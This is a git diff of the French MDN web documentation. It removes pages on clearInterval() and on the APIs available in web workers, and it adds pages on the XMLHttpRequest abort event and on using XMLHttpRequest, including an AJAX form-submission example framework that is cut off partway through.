diff --git a/files/fr/web/api/windowtimers/clearinterval/index.html b/files/fr/web/api/windowtimers/clearinterval/index.html deleted file mode 100644 index 8041342b1d..0000000000 --- a/files/fr/web/api/windowtimers/clearinterval/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.clearInterval() -slug: Web/API/WindowTimers/clearInterval -tags: - - API - - Méthode - - Reference - - WindowOrWorkerGlobalScope - - clearInterval -translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval ---- -
{{APIRef("HTML DOM")}}
- -

La méthode clearInterval(), rattachée au mixin {{domxref("WindowOrWorkerGlobalScope")}}, permet d'annuler une action répétée minutée initiée via un appel à {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}.

- -

Syntaxe

- -
scope.clearInterval(intervalID)
-
- -

Paramètres

- -
-
intervalID
-
L'identifiant de l'intervalle de répétition qu'on souhaite annuler. Cet identifiant est renvoyé lorsqu'on appelle setInterval() pour définir l'intervalle de répétition.
-
- -

On notera que l'ensemble des identifiants utilisés est commun entre ceux fournis par {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} et ceux fournis par {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}. Cela signifie qu'on peut, techniquement, utiliser clearInterval() et {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} de façon interchangeable. C'est toutefois une mauvaise pratique, qui nuit à la lisibilité du code et à sa maintenabilité.

- -

Valeur de retour

- -

{{jsxref("undefined")}}

- -

Exemples

- -

Voir l'exemple setInterval().

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Cette méthode a été déplacée sur le mixin WindowOrWorkerGlobalScope.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

- -

Voir aussi

- -
    -
  • {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}
    • -
  • {{domxref("WindowOrWorkerGlobalScope.setInterval")}}
    • -
  • {{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}
    • -
  • {{domxref("Window.requestAnimationFrame")}}
    • -
diff --git a/files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html b/files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html deleted file mode 100644 index 379f86edd6..0000000000 --- a/files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: Fonctions et classes disponibles dans les Web Workers -slug: Web/API/Worker/Functions_and_classes_available_to_workers -translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers ---- -

En plus de l'ensemble des fonctions standard JavaScript (telles que {{jsxref("Global_Objects/String", "String")}}, {{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/JSON", "JSON")}} etc), des fonctions du DOM restent disponibles pour les workers. Cet article en fournit la liste.

- -

Les workers s'exécutent dans un contexte global, {{domxref("DedicatedWorkerGlobalScope")}} différent du contexte de la fenêtre courante. Par défaut les méthodes et propriétés de {{domxref("Window")}} ne leur sont pas disponibles, mais {{domxref("DedicatedWorkerGlobalScope")}}, comme Window, implémente {{domxref("WindowTimers")}} et {{domxref("WindowBase64")}}.

- -

Comparaison des propriétés et méthodes des différents types de workers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionsWorkers dédiésWorkers partagésService workersChrome workers {{Non-standard_inline}}En dehors des  workers
{{domxref("WindowBase64.atob", "atob()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowBase64.btoa", "btoa()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.clearInterval", "clearInterval()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.setInterval", "setInterval()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WindowTimers.setTimeout", "setTimeout()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("Window")}}
{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}non
{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}oui, sur {{domxref("WorkerGlobalScope")}}oui, sur {{domxref("WorkerGlobalScope")}}oui, mais sans effetInconnunon
{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}oui, sur {{domxref("DedicatedWorkerGlobalScope")}}nonnonInconnunon
- -

APIs disponibles dans les workers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionFonctionnalitéSupport dans Gecko (Firefox)Support dans IESupport dans Blink (Chrome et Opera)Support dans WebKit (Safari)
XMLHttpRequestCrée et retourne un nouvel objet {{domxref("XMLHttpRequest")}}; il imite le comportement du constructeur standard XMLHttpRequest(). Remarquez que les attributs responseXML et channel de XMLHttpRequest retourne toujours null. -

Basique : {{CompatGeckoDesktop("1.9.1")}}

- -

{{domxref("XMLHttpRequest.response", "response")}} et {{domxref("XMLHttpRequest.responseType", "responseType")}} sont disponibles depuis {{CompatGeckoDesktop("10")}}

- -

{{domxref("XMLHttpRequest.timeout", "timeout")}} et {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} sont disponibles depuis {{CompatGeckoDesktop("13")}}

- 		{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
WorkerCrée un nouveau {{ domxref("Worker") }}. Oui, les workers peuvent engendrer des workers supplémentaires.{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatNo}} Voir crbug.com/31666{{CompatNo}}
{{ domxref("URL") }}Les workers peuvent utiliser les méthodes statiques URL.createObjectURL et URL.revokeObjectURL avec les objets {{domxref("Blob")}} accessibles au worker.
- Les workers peuvent aussi créer une nouvelle URL en utilisant le constructeur {{domxref("URL.URL", "URL()")}} et appeler n'importe quelle méthode normale sur l'objet retourné.		{{CompatGeckoDesktop(21)}} et {{CompatGeckoDesktop(26)}} pour le constructeur URL(){{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}Crée et retourne un nouveau {{domxref("TextEncoder")}}, ou respectivement {{domxref("TextDecoder")}}, permettant d'encoder ou de décoder des chaînes de caractère dans un encodage spécifique.{{CompatGeckoDesktop(20)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("WorkerNavigator")}}Le sous-ensemble de l'interface {{domxref("Navigator")}} disponible aux workers.Implémentation basique {{CompatVersionUnknown}}
- {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}
- {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}
- {{domxref("NavigatorLanguage")}}: {{CompatNo}}		{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appName")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0
- Autre : {{CompatNo}}		{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerLocation")}}Le sous-ensemble de l'interface {{domxref("Location")}} disponible aux workers.{{CompatGeckoDesktop(1.9.2)}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerGlobalScope")}}Le contexte global des workers. Cet objet définit les fonctions spécifiques aux workers.{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("ImageData")}}Les données en pixels sous-jacentes à une zone d'un élément {{domxref("canvas")}}. Manipuler de telles données peut être une tâche complexe qu'il est plus approprié de déléguer à un web worker.{{CompatGeckoDesktop(25)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("FileReaderSync")}}Cette API permet la lecture synchrone d'objets {{domxref("Blob")}} et {{domxref("File")}}. C'est une API qui fonctionne uniquement au sein des workers.{{CompatGeckoDesktop(8)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("IndexedDB_API", "IndexedDB")}}Une base de données pour stocker des enregistrements contenant des valeurs simples et des objets hiérarchiques.{{CompatGeckoDesktop(37)}}10.0{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("WebSocket")}}Crée et retourne un nouvel objet {{domxref("WebSocket")}}; Il imite le comportement d'un constructeur WebSocket() standard.{{CompatGeckoDesktop(36)}}11.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Data Store APIUn mécanisme de stockage puissant et flexible pour de multiples applications Firefox OS qui ont l'habitude de stocker et d'échanger des données entre elles de manière rapide, efficace et sécurisée.Seulement dans les applications internes (certifiées) de Firefox OS, deuis v1.0.1.{{CompatNo}}{{CompatNo}}{{CompatNo}}
PromisesLes objets JavaScript qui vous permettent d'écrire des fonctions asynchrones.{{CompatGeckoDesktop(28)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- -

Voir aussi

- - diff --git a/files/fr/web/api/xmlhttprequest/abort_event/index.html b/files/fr/web/api/xmlhttprequest/abort_event/index.html new file mode 100644 index 0000000000..0585331ebe --- /dev/null +++ b/files/fr/web/api/xmlhttprequest/abort_event/index.html @@ -0,0 +1,89 @@ +--- +title: abort +slug: Web/Events/abort_(ProgressEvent) +translation_of: Web/API/XMLHttpRequest/abort_event +--- +

L'événement abort est déclenché lorsque la progression a été interompue (Non causé par une erreur)

+ +

Informations générales

+ +
+
Spécification
+
Progress
+
Interface
+
ProgressEvent
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
Element
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ +

Evénements liés

+ +
    +
  • {{event("loadstart")}}
    • +
  • {{event("progress")}}
    • +
  • {{event("error")}}
    • +
  • {{event("abort")}}
    • +
  • {{event("load")}}
    • +
  • {{event("loadend")}}
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.html new file mode 100644 index 0000000000..fc3bb319ee --- /dev/null +++ b/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -0,0 +1,755 @@ +--- +title: Utiliser XMLHttpRequest +slug: Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest +tags: + - AJAX + - File API + - FormData + - JXON + - Progression + - Téléchargement + - XML + - XMLHttpRequest + - upload +translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest +--- +

 

+ +

XMLHttpRequest permet d'envoyer des requêtes HTTP de manière très simple.  Il suffit de créer une instance de l'objet, d'ouvrir une URL, et d'envoyer la requête.  Le status HTTP du résultat, tout comme le contenu de la réponse, sont disponibles dans l'objet de la requête quand la transaction est terminée. Cette page présente quelques-uns des cas d'utilisation communs et même un peu obscurs pour cet objet JavaScript puissant.

+ +
function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();
+ +

Types de requêtes

+ +

Une demande faite via XMLHttpRequest peut récupérer les données dans l'une des deux façons, de manière asynchrone ou synchrone. Le type de demande est dictée par l'argument optionnel async (le troisième argument) qui est mis sur la méthode open() XMLHttpRequest (). Si cet argument est true ou non spécifié, l'objet XMLHttpRequest est traitée de manière asynchrone, sinon le processus est effectué de façon synchrone. Une discussion détaillée et des démonstrations de ces deux types de demandes peuvent être trouvés sur la page des requêtes synchrones et asynchrones. En général, vous devriez rarement, voire jamais, utiliser requêtes synchrones.

+ +
Note: A partir de Gecko 30.0 {{ geckoRelease("30.0") }}, les requêtes synchrones sur le processus principal ont été dépréciées en raison de l'effet négatif sur l'expérience utilisateur.
+ +

Gérer les réponses

+ +

Il existe plusieurs types d'attributs de réponse définies par la spécification W3C pour XMLHttpRequest. Ceci indique que le client faisant l'objet XMLHttpRequest des informations importantes sur l'état ​​de la réponse. Certains cas où, traitant de types de réponse non-texte peuvent impliquer une certaine manipulation et l'analyse comme indiqué dans les sections suivantes.

+ +

Analyser et manipuler la propriété responseXML

+ +

Si vous utlisez XMLHttpRequest pour obtenir le contenu d'un fichier XML distant, la propriété responseXML sera un Objet DOM contenant le document XML parsé, qui peut être difficile à manipuler et analyser. Il y a quatres moyens principaux d'analyser ce document XML :

+ +
    +
  1. Utiliser XPath pour localiser des parties.
    2. +
  2. Utiliser JXON pour le convertir en Objet structuré JavaScript.
    3. +
  3. Manuellement parser et serializer le XML en chaînes de caractères ou en objets.
    4. +
  4. Utiliser XMLSerializer pour serializer le DOM en chaînes ou en fichiers.
    5. +
  5. RegExp peut être utlisé si vous connaissez à l'avance le contenu du document XML. Vous pouvez supprimer les sauts de ligne, si vous utlisez RegExp en prenant en compte ces sauts. Toutefois, cette méthode est un "dernier recours", car si le code XML change légèrement, la méthode échouera probablement.
    6. +
+ +

Analyser et manipuler une propriété responseText contenant un document HTML

+ +
Note: La spécification W3C XMLHttpRequest  autorise le HTML a être parsé via la propritété XMLHttpRequest.responseXML. Lisez l'article à propos du HTML dans XMLHttpRequest pour plus de détails.
+ +

Si vous utilisez XMLHttpRequest pour récupérer le contenu d'une page HTML distante, la propriété responseText est une chaîne de caractères contenant une "soupe" de tous les tags HTML, qui peut être difficile à manipuler et à analyser. Il y a trois moyens principaux d'analyser cette soupe de HTML :

+ +
    +
  1. Utiliser la propriété XMLHttpRequest.responseXML.
    2. +
  2. Injecter le contenu dans le body d'un fragment de document via fragment.body.innerHTML et traverser le DOM du fragment.
    3. +
  3. RegExp peut être utlisé si vous connaissez à l'avance le contenu du document HTML dans responseText. Vous pouvez supprimer les sauts de ligne, si vous utlisez RegExp en prenant en compte ces sauts. Toutefois, cette méthode est un "dernier recours", car si le code XML change légèrement, la méthode échouera probablement.
    4. +
+ +

Gérer les données binaires

+ +

Bien que XMLHttpRequest est le plus souvent utilisé pour envoyer et recevoir des données textuelles, on peut l'utiliser pour envoyer et recevoir du contenu binaire.Il existe plusieurs méthodes éprouvées pour contraindre la réponse d'un XMLHttpRequest en l'envoi de données binaires. Celles-ci impliquent d'utiliser la méthode .overrideMimeType() sur l'objet XMLHttpRequest, ce qui est une solution viable.

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// récupérer les données non traitées comme une chaîne binaire
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+
+ +

La Spécification XMLHttpRequest Niveau 2 ajoute de nouveaux attributs responseType qui permettent d'envoyer et de recevoir des données binaires plus facilement.

+ +
var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // n'est pas responseText
+  /* ... */
+}
+oReq.send();
+
+ +

Pour plus d'exemples, jettez un oeil à la page Envoyer et recevoir des données binaires

+ +

Surveiller la progression

+ +

XMLHttpRequest fournit la possibilité d'écouter différents évènements qui peuvent se produire pendant que la requête est traitée. Cela inclu des notifications de progression périodiques, des notifications d'erreur, ainsi de suite.

+ +

Le support des évènements de progression DOM de XMLHttpRequest suit l'API web de spécifications des évènements de progression: ils implémentent l'interface {{domxref("ProgressEvent")}}.

+ +
var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// progression des transferts depuis le serveur jusqu'au client (téléchargement)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Impossible de calculer la progression puisque la taille totale est inconnue
+  }
+}
+
+function transferComplete(evt) {
+  alert("Le transfert est terminé.");
+}
+
+function transferFailed(evt) {
+  alert("Une erreur est survenue pendant le transfert du fichier.");
+}
+
+function transferCanceled(evt) {
+  alert("Le transfert a été annulé par l'utilisateur.");
+}
+ +

Les lignes 3-6 ajoutent des écouteurs pour les différents évènements lancés pendant la transfert de données d'une XMLHttpRequest.

+ +
Note: Vous devez ajouter les écouteurs avant d'appeler open() sur la requête. Sinon, les évènements de progression ne seront pas lancés.
+ +

Le gestionnaire de progression, spécifié par la fonction updateProgress() dans cet exemple, reçoit le nombre total de bytes à transférer ainsi que le nombre de bytes déjà transférés dans les champs total et loaded.  Cependant, si le champ lengthComputable est false, la taille totale est inconnue et sera zéro.

+ +

Les évènements de progression sont disponibles pour l'envoi et la réception de données. Les évènements de téléchargement sont lancés sur l'objet XMLHttpRequest lui-même, comme montré dans l'exemple ci-dessus. Les évènements d'envoi (upload) sont lancés sur l'objet XMLHttpRequest.upload, comme montré ci-dessous:

+ +
var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+ +
Note: Les évènements de progression ne sont pas disponibles sur le protocole file:.
+ +
Note: Actuellement, il y a encore des bugs ouverts pour les évènements de progression qui affectent la version 25 de Firefox sur OS X et Linux.
+ +
+

Note: A partir de {{Gecko("9.0")}}, les évènements de progression peuvent désormais être assurément présents pour chaque morceau de données reçu, y compris le dernier morceau dans les cas où le dernier paquet est reçu et la connexion fermée avant que l'évènement ne soit lancé. Dans ce cas, l'évènement de progression est automatiquement lancé quand l'évènement load se produit pour ce paquet. Cela vous permet de surveiller fiablement la progression grâce à son évènement.

+
+ +
+

Note: Dans {{Gecko("12.0")}}, si votre évènement de progression est appelé avec un responseType "moz-blob", la valeur de la réponse est un {{domxref("Blob")}} contenant les données reçues jusqu'à présent.

+
+ +

Une fonction peut aussi être appelée peu importe le status de fin de la requête (abort, load, ou error) en utilisant l'évènement loadend :

+ +
req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("Le transfert est terminé (même si l'on ne sait pas si ça a fonctionné ou pas).");
+}
+
+ +

Notez qu'il n'y a pas moyen d'être certain des informations reçues dans l'évènement  loadend event comme la condition qui a causé la fin de l'opération; toutefois, vous pouvez utiliser cet évènement pour gérer les tâches qui doivent être exécutées dans tous les cas une fois un transfert terminé.

+ +

Envoyer des formulaires et uploader des fichiers

+ +

Les instances de XMLHttpRequest peuvent être utilisées pour envoyer des formulaires de deux façons :

+ +
    +
  • n'utiliser rien de plus qu'AJAX
    • +
  • utiliser l'API FormData
    • +
+ +

La seconde solution (utiliser l'API FormData) est la plus simple et la plus rapide, mais a le désavantage que les données collectées ne peuvent pas être chainifiées.
+ La première solution est plutôt la plus complexe, mais se prête à être plus flexible et puissante.

+ +

Rien de plus que XMLHttpRequest

+ +

Envoyer des formulaires sans l'API FormData ne demande rien de plus, si ce n'est l'API FileReader, mais seulement si vous voulez envoyer un fichier ou plus.

+ +

Une brève introduction au méthodes de submission

+ +

Un élément HTML {{ HTMLElement("form") }} peut être envoyé de quatre manières :

+ +
    +
  • en utilisant la méthode POST et en configurant son attribut enctype sur application/x-www-form-urlencoded (par défaut);
    • +
  • en utilisant la méthode POST et en configurant son attribut enctype sur text/plain;
    • +
  • en utilisant la méthode POST et en configurant son attribut enctype sur multipart/form-data;
    • +
  • en utilisant la méthode GET (dans ce cas, l'attribut enctype sera ignoré).
    • +
+ +

Maintenant, considérons qu'on envoie un formulaire contenant seulement deux champs, nommées foo et baz. Si vous utilisez la méthode POST, le serveur va recevoir une chaîne similaire à l'un des trois suivantes, en fonction de l'encodage que vous utilisez :

+ +
    +
  • +

    Méthode: POST; Encodage: application/x-www-form-urlencoded (par défaut):

    + + 
    Content-Type: application/x-www-form-urlencoded
+
+foo=bar&baz=The+first+line.&#37;0D%0AThe+second+line.%0D%0A
    +
    • +
  • +

    Méthode: POST; Encodage: text/plain:

    + + 
    Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.
    +
    • +
  • +

    Méthode: POST; Encodage: multipart/form-data:

    + + 
    Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--
    +
    • +
+ +

Si vous utilisez la méthode GET à la place, une chaîne comme celle-ci sera simplement ajoutée à l'URL :

+ +
?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.
+ +

Un petit framework vanilla

+ +

Tout celà est fait automatiquement par le serveur quand vous envoyez un {{ HTMLElement("form") }}. Mais si vous voulez faire la même chose en utilisant JavaScript vous devez tout dire à l'interprète. Pour celà, la manière d'envoyer des formulaires en pure AJAX est trop compliquée pour être expliquée ici. Pour cette raison, nous avons posté un framework complet (mais tout de  même didactique), qui est capable d'utiliser les quatres méthodes de submit , et aussi de transférer des fichiers:

+ +
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with pure AJAX &ndash; MDN</title>
+<script type="text/javascript">
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status > 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem < oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" && oField.files.length > 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile < oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile < oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+</script>
+</head>
+<body>
+
+<h1>Sending forms with pure AJAX</h1>
+
+<h2>Using the GET method</h2>
+
